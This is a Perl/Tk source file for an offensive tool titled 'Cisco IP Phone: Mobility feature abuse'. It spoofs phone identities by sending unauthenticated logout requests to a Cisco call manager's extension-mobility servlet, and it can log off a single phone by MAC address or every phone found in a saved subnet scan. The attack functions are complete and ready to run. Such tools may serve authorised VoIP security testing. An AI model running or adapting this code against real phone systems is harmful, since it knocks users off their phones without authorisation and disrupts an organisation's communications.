# perl
# --------------------------------------------------------
# LICENCE
# This software is under GNU GENERAL PUBLIC LICENSE
# The detail could be found in the file LICENCE include
# in the same directory than isme.pl
# --------------------------------------------------------

use LWP::UserAgent; # http://search.cpan.org/~gaas/libwww-perl-6.03/lib/LWP/UserAgent.pm
use HTTP::Request::Common; #http://search.cpan.org/~gaas/HTTP-Message-6.02/lib/HTTP/Request/Common.pm
use Net::Ping; # http://search.cpan.org/~smpeters/Net-Ping-2.36/lib/Net/Ping.pm
use Net::Netmask; # http://search.cpan.org/dist/Net-Netmask/
use Net::Subnets;
use Tk; # http://search.cpan.org/~srezic/Tk/pod/UserGuide.pod
use Tk::Radiobutton;
use Tk::PNG;
use Tk::Photo;
use Tk::JPEG;
use Tk::NoteBook;
use Tk::ProgressBar;


# Variable for web brute forcer
my $attack_type="single";
my $mac_address="";
my $ipaddress="";
my $ScanToLogout="";

my $Results = "";

my @colors = (  0, '#ff002a',  1, '#ff0014',  2, '#ff000a',  3, '#ff0500',  4, '#ff1000',
	     5, '#ff1b00',  6, '#ff3000',  7, '#ff3b00',  8, '#ff4600',  9, '#ff5100',
	    10, '#ff6100', 11, '#ff7600', 12, '#ff8100', 13, '#ff8c00', 14, '#ff9700',
	    15, '#ffa100', 16, '#ffbc00', 17, '#ffc700', 18, '#ffd200', 19, '#ffdd00',
	    20, '#ffe700', 21, '#fffd00', 22, '#f0ff00', 23, '#e5ff00', 24, '#dbff00',
	    25, '#d0ff00', 26, '#baff00', 27, '#afff00', 28, '#9fff00', 29, '#95ff00',
	    30, '#8aff00', 31, '#74ff00', 32, '#6aff00', 33, '#5fff00', 34, '#54ff00',
	    35, '#44ff00', 36, '#2eff00', 37, '#24ff00', 38, '#19ff00', 39, '#0eff00',
	    40, '#03ff00', 41, '#00ff17', 42, '#00ff21', 43, '#00ff2c', 44, '#00ff37',
	    45, '#00ff42', 46, '#00ff57', 47, '#00ff67', 48, '#00ff72', 49, '#00ff7d',
	    50, '#00ff87', 51, '#00ff9d', 52, '#00ffa8', 53, '#00ffb8', 54, '#00ffc3',
	    55, '#00ffcd', 56, '#00ffe3', 57, '#00ffee', 58, '#00fff8', 59, '#00faff',
	    60, '#00eaff', 61, '#00d4ff', 62, '#00c9ff', 63, '#00bfff', 64, '#00b4ff',
	    65, '#00a9ff', 66, '#008eff', 67, '#0083ff', 68, '#0079ff', 69, '#006eff',
	    70, '#0063ff', 71, '#004eff', 72, '#003eff', 73, '#0033ff', 74, '#0028ff',
	    75, '#001dff', 76, '#0008ff', 77, '#0200ff', 78, '#1200ff', 79, '#1d00ff',
	    80, '#2800ff', 81, '#3d00ff', 82, '#4800ff', 83, '#5300ff', 84, '#5d00ff',
	    85, '#6e00ff', 86, '#8300ff', 87, '#8e00ff', 88, '#9900ff', 89, '#a300ff',
	    90, '#ae00ff', 91, '#c900ff', 92, '#d400ff', 93, '#df00ff', 94, '#e900ff',
	    95, '#f400ff', 96, '#ff00f3', 97, '#ff00e3', 98, '#ff00d9', 99, '#ff00ce' );




# Declaring functions for network analyzing stuff. Thus no argument passing for function. Its all full available variable.
$p=Net::Ping->new("icmp");

	
my $subweb_mw = MainWindow->new(
						-title => 'Cisco IP Phone: Mobility feature abuse');

my $menu_bar = $subweb_mw->Frame(
				-relief => 'groove',
				-borderwidth => 3,
				-width => 40,
				)-> pack(
					-side=>'top',
					-fill => 'x'
					);
my $file_mb = $menu_bar->Menubutton(
				-text => 'File',
				)->pack(-side=>'left');

$file_mb->command(
		-label=>'Select subnet scan to load',
		-command => sub {&SELECTSCANFILE}
		);
		
$file_mb->command(
		-label=>'Launch attack',
		-command => 
			sub {&LAUNCH}
		);
		
$file_mb->command(
			-label=>"Save scan results",
			-command => sub {&SAVERESULTS}
			);
						
$file_mb->command(
	-label=>'Exit',
	-command => [$subweb_mw => 'destroy']
	);
		
#------------- BUTTON MENU -------------------------------
my $FrameButton = $subweb_mw -> Frame ();

my $ImageDetail = $FrameButton->Photo( 
									-format => 'jpeg',
									-file => "./Image/IMG_oeil.jpg",
									 );									 

my $ImageOpen = $FrameButton->Photo( 
									-format => 'jpeg',
									-file => "./Image/IMG_open.jpg",
									 );		

my $ImageLaunch = $FrameButton->Photo( 
									-format => 'jpeg',
									-file => "./Image/IMG_launch.jpg",
									 );									 	
my $ImageSave = $FrameButton->Photo( 
									-format => 'jpeg',
									-file => "./Image/IMG_save.jpg",
									 );	
my $ImageExit = $FrameButton->Photo( 
									-format => 'jpeg',
									-file => "./Image/IMG_exit.jpg",
									 );	
									 									 									 
my $ButtonDetail = $FrameButton->Button (
    								-image => $ImageDetail, 
								    -command => sub {&EXPLANATION}
									)->pack(-side => 'left');

my $ButtonOpen = $FrameButton->Button (
    								-image => $ImageOpen, 
								    -command => sub {&SELECTSCANFILE}
									)->pack(-side => 'left');

my $ButtonLaunch = $FrameButton->Button (
    								-image => $ImageLaunch, 
								    -command => sub {&LAUNCH}
									)->pack(-side => 'left');

my $ButtonSave = $FrameButton->Button (
    								-image => $ImageSave, 
								    -command => sub {&SAVERESULTS}
									)->pack(-side => 'left');
my $ButtonExit = $FrameButton->Button (
    								-image => $ImageExit, 
								    -command => [$subweb_mw => 'destroy']
									)->pack(-side => 'right');									
																		
$FrameButton -> pack (-side => 'top', -anchor => 'w'); 	
#----------


my $labeled_frame = $subweb_mw ->LabFrame(
										-label => "Configure",
                                   		-labelside => "acrosstop"
                                   		)->pack(-side => 'top', -anchor => 'w');	

#-------------
my $FrameLabel = $labeled_frame -> Frame ();

my $ImageCross = $FrameLabel->Photo( 
									-format => 'jpeg',
									-file => "./Image/IMG_cross.jpg",
									 );
$FrameLabel->Label(
				-image => $ImageCross,
				-borderwidth => 2,
		        -relief      => 'sunken',
		             )->pack(-side => 'left');

$FrameLabel->Label(
	-text => 'CUCMP IP Address (192.168.0.154):   '
	)->pack(-side => 'left');
		             
my $TextLabel_single = $FrameLabel-> Entry(
	-textvariable => \$CUCM_ipaddress,
	- width => 45,
	)->pack(-side => 'left');

$FrameLabel -> pack (-side => 'top', -anchor => 'w');	
#-------------

my $FrameMIDDLE7 = $labeled_frame -> Frame ();
my $rdb_single = $FrameMIDDLE7 -> Radiobutton(-text=>"Disconnect one IP Phone",  
												-value=>"single",  
												-variable=>\$attack_type);
$rdb_single -> pack (-side => 'left');
$FrameMIDDLE7 -> pack (-side => 'top', -anchor => 'w');
#----------	
my $FrameMIDDLE6 = $labeled_frame -> Frame ();
$FrameMIDDLE6->Label(
	-text => 'IP Phone MAC address (001122334455):    '
	)->pack(-side => 'left');
my $TextLabel_single = $FrameMIDDLE6 -> Entry(
	-textvariable => \$mac_address,
	- width => 45,
	)->pack(-side => 'left');
$FrameMIDDLE6 -> pack (-side => 'top', -anchor => 'w');

#-------------
my $FrameMIDDLE5 = $labeled_frame -> Frame ();
my $rdb_single = $FrameMIDDLE5 -> Radiobutton(-text=>"Disconnect all IP Phones from scanned subnet",  
												-value=>"subnet",  
												-variable=>\$attack_type);
$rdb_single -> pack (-side => 'left');
$FrameMIDDLE5 -> pack (-side => 'top', -anchor => 'w');
#----------	
my $FrameMIDDLE1 = $labeled_frame -> Frame ();

$FrameMIDDLE1->Label(
	-text => 'load scan:     '
	)->pack(-side => 'left');
my $TextLabel = $FrameMIDDLE1 -> Entry(
	-textvariable => \$ScanToLogout,
	- width => 70,
	)->pack(-side => 'left');
$FrameMIDDLE1 -> pack (-side => 'top', -anchor => 'w');



#------------- PROGRESS BAR -----------------------------------

$bar1 = $subweb_mw->ProgressBar( -borderwidth=>2, -blocks=>100, -gap=>0,
			  -troughcolor=>'white',-colors=>\@colors,
			  -length=>106 )->pack( -padx=>5, -pady=>5, -fill=>'x' );
#$bar1->value( 100 - $val );
#------------- NOTEBOOK --------------------------------------------

my $FrameTab= $subweb_mw -> Frame (-width => 40, -height => 20);
my $book = $FrameTab->NoteBook()->pack( -fill=>'both', -expand=>1 );

$tab1 = $book->add( "Sheet 1", -label=>"Details");
$tab2 = $book->add( "Sheet 2", -label=>"Positive results" );
$tab3 = $book->add( "Sheet 3", -label=>"All logs");
$book->raise("Sheet 1");

my $TextWidget_tab1 = $tab1->Text(); 
$TextWidget_tab1 ->configure(-height => 28);
my $scrollbar_tab1 = $tab1 ->Scrollbar(-command => ['yview', $TextWidget_tab1 ]);
$TextWidget_tab1 ->configure(-yscrollcommand => ['set', $scrollbar_tab1]);

my $TextWidget_tab2 = $tab2->Text(); 
$TextWidget_tab2 ->configure(-height => 28);
my $scrollbar_tab2 = $tab2 ->Scrollbar(-command => ['yview', $TextWidget_tab2 ]);
$TextWidget_tab2 ->configure(-yscrollcommand => ['set', $scrollbar_tab2]);

my $TextWidget_tab3 = $tab3->Text(); 
$TextWidget_tab3 ->configure(-height => 28);
my $scrollbar_tab3 = $tab3 ->Scrollbar(-command => ['yview', $TextWidget_tab3 ]);
$TextWidget_tab3 ->configure(-yscrollcommand => ['set', $scrollbar_tab3]);


$TextWidget_tab1 ->pack(-side => 'left', -fill => 'both', -expand => 1);
$TextWidget_tab2 ->pack(-side => 'left', -fill => 'both', -expand => 1);
$TextWidget_tab3 ->pack(-side => 'left', -fill => 'both', -expand => 1);

$scrollbar_tab1->pack(-side => 'right', -fill => 'y');
$scrollbar_tab2->pack(-side => 'right', -fill => 'y');
$scrollbar_tab3->pack(-side => 'right', -fill => 'y');

$FrameTab -> pack (-side => 'top', -anchor => 'w');#-------------


#------------ LAUNCHING THE MAIN LOOP --------
&EXPLANATION;
MainLoop;
#------------ END OF THE GUI INTERFACE DEFINITION STUFF -------------------------------------


sub SELECTSCANFILE
{                              
	my $types = [ ['isme files', '.isme']];
	my $SelectScan = $subweb_mw->getOpenFile(-filetypes => $types,
	                         	  -defaultextension => '.isme',
	                              -initialdir => "scan_history"
	                              );  
	$ScanToLogout = $SelectScan;
	$TextLabel->update();	 
}

sub LAUNCH
{
	# variable initialization
	$Results = "";
	$TextWidget_tab3 -> delete('0.0', 'end');
	$TextWidget_tab2 -> delete('0.0', 'end');
	$bar1->value(0);
	$book->raise("Sheet 3");
					
	if ($attack_type =~ /single/)
	{
		&LAUNCHATTACKSINGLE;	
	}
	elsif ($attack_type =~ /subnet/)
	{
		&LAUNCHATTACKSUBNET;
	}
}


sub LAUNCHATTACKSINGLE
{
	if ($CUCM_ipaddress =~ /[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/)
	{
		
		my $url_Phone = "http://".$CUCM_ipaddress."/emapp/EMAppServlet?device=SEP".$mac_address."&doLogout=true";
		my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
		$ua->timeout(3);	
		my $request = HTTP::Request->new(GET => $url_Phone);	
		my $answer=$ua->request($request);
	
		$TextWidget_tab3 -> insert("end", "-------------------------------------------------------------------------------\n");
		$TextWidget_tab3 -> insert("end", "Logout command sent to CUCM $CUCM_ipaddress\n");
		$TextWidget_tab3 -> insert("end", "Targetted IP Phone: SEP$mac_address\n");	
		$TextWidget_tab3 -> insert("end", "Attack done.\n");	
		$TextWidget_tab3 -> insert("end", "-------------------------------------------------------------------------------\n");
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');
		$Results = "-------------------------------------------------------------------------------\n";
		$Results = $Results."Logout command sent to CUCM $CUCM_ipaddress\n";
		$Results = $Results."Targetted IP Phone: SEP$mac_address\n";
		$Results = $Results."Attack done.\n";
		$Results = "-------------------------------------------------------------------------------\n";
		
		$bar1->value(100);
	}
    else
	{
    	$subweb_mw->Dialog(-title => 'WARNING', 	
					-text => 'Bad CUCM IP Address syntax !',
					)->Show( );		
    }
}


sub LAUNCHATTACKSUBNET
{
	if ($CUCM_ipaddress =~ /[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/)
	{
		if (open (FILE, "$ScanToLogout"))
		{
			$TextWidget_tab3 -> insert("end", "-------------------------------------------------------------------------------\n");
			$TextWidget_tab3 -> insert("end", "Starting to analyze $ScanToLogout.\n");
			$TextWidget_tab3 -> insert("end", "-------------------------------------------------------------------------------\n");
			$TextWidget_tab3  -> update ();	
			$TextWidget_tab3  -> see ('end');
			$Results = $Results."-------------------------------------------------------------------------------\n";
			$Results = $Results."Starting to analyze $ScanToLogout.\n";
			$Results = $Results."-------------------------------------------------------------------------------\n";		
	
			my $counter=0;
	
			while (<FILE>)
			{
		
				$TextWidget_tab3 -> insert ("end","------- Analyzing line $counter\n");
				$Results = $Results."------- Analyzing line $counter\n";
								
				my $LineToAnalyze=$_;
				my $ToFind = "SEP";
				my $loc = 0;
				my $SEP="";
	
				$loc = index($LineToAnalyze, $ToFind); # if $loc = -1 the string is not found.
				if ($loc >= 0)
				{
					#Index 3 (starting 0) provide the cell with SEP reference 
					my @splitAnalyze1= split (/[*]/, $LineToAnalyze);
					my @splitAnalyze2= split (/[ ]/, $splitAnalyze1[3]);
					$SEP = $splitAnalyze2[1];
	
					my $url_Phone = "http://".$CUCM_ipaddress."/emapp/EMAppServlet?device=".$SEP."&doLogout=true";
	
					my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
					$ua->timeout(3);	
					my $request = HTTP::Request->new(GET => $url_Phone);	
					my $answer=$ua->request($request);
				
					$TextWidget_tab3 -> insert("end", "Logout command sent to CUCM $CUCM_ipaddress\n");
					$TextWidget_tab3 -> insert("end", "Targetted IP Phone: $SEP\n");	
					$TextWidget_tab3 -> insert("end", "Attack done.\n");					
					$TextWidget_tab3  -> update ();	
					$TextWidget_tab3  -> see ('end');
					$Results = $Results."Logout command sent to CUCM $CUCM_ipaddress\n";
					$Results = $Results."Targetted IP Phone: $SEP\n";
					$Results = $Results."Attack done.\n";
				}
				$counter++;
			}
			
			$bar1->value(100);

			$TextWidget_tab3 -> insert ("end", "\n");					    
			$TextWidget_tab3 -> insert ("end", "------------------------ END --------------------------------------------------\n");					    
			$TextWidget_tab3  -> update ();	
			$TextWidget_tab3  -> see ('end');
			$Results = $Results."------------------------ END --------------------------------------------------\n";
		}
	    else
		{
	    	$subweb_mw->Dialog(-title => 'WARNING', 	
						-text => 'Bad CUCM IP Address syntax !',
						)->Show( );		
	    }
	}
    else
	{
    	$subweb_mw->Dialog(-title => 'WARNING', 	
					-text => 'Bad CUCM IP Address syntax !',
					)->Show( );		
    }
}

sub SAVERESULTS
{
	my $FileToSave = $subweb_mw->getSaveFile(
							-defaultextension => '.txt',
                            -initialdir => "user_data"
                              );

	open (TOSAVE, ">>$FileToSave");
	print TOSAVE $Results;
	close (TOSAVE);
	
}	

sub EXPLANATION
{
	$TextWidget_tab1  -> delete('0.0', 'end');
	$TextWidget_tab1  -> insert ("end", "-------------------------------------------------------------------------------\n");
	$TextWidget_tab1 -> insert ("end", "This tool provide the capacity to spoof a Cisco IP Phone identity in order to log him off extension mobility service.\n");
	$TextWidget_tab1  -> insert ("end", "\n");	
	$TextWidget_tab1  -> insert ("end", "Date: November 2012\n");
	$TextWidget_tab1  -> insert ("end", "-------------------------------------------------------------------------------\n");
	$TextWidget_tab1   -> update ();	
	$TextWidget_tab1   -> see ('end'); 
	
	$book->raise("Sheet 1");		
}



